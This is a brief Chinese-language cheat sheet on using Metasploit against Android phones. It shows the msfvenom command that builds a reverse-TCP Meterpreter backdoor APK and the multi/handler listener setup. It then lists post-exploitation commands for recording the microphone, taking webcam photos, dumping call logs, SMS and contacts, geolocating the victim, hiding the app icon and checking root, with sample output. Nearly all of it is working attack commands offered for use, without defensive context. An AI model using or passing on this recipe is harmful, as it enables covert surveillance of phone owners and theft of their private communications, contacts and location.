MSF - Android

更新中

生成后门

msfvenom -p android/meterpreter/reverse_tcp LHOST=<本地IP> LPORT=<监听Port> R -o backdoor.apk

当目标执行后门时，MSF会向后门发送Payload。当Payload载入后即可开始控制目标。

开启监听任务

msf > use use exploit/multi/handler
msf exploit(multi/handler) > set LOHOST <本地IP>
LHOST => 127.0.0.1
msf exploit(multi/handler) > set LPORT <监听Port>
LPORT => 25565
msf exploit(multi/handler) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD => android/meterpreter/reverse_tcp
msf exploit(multi/handler) > exploit -j

record_mic

录音

webcam_snap

摄像

dump_calllog

导出并下载通话记录

dump_sms

导出并下载短信记录

dump_contacts

导出并下载通讯录

geolocate

获取地理位置

meterpreter > geolocate  
 [*] Current Location: 
  Latitude:  XX.XXXXX
  Longitude: XXX.XXXXXX
 
 To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=XX.XXXXX,XXX.XXXXXX&sensor=true

清楚的显示了设备的GPS信息，并且提供了一条Google API。

hide_app_icon

隐藏APP图标

send_sms

发送短信

wakelock

开关Wakelock锁

check_root

检查设备是否被ROOT

meterpreter > check_root  
[+] Device is rooted

可以看出该设备已被ROOT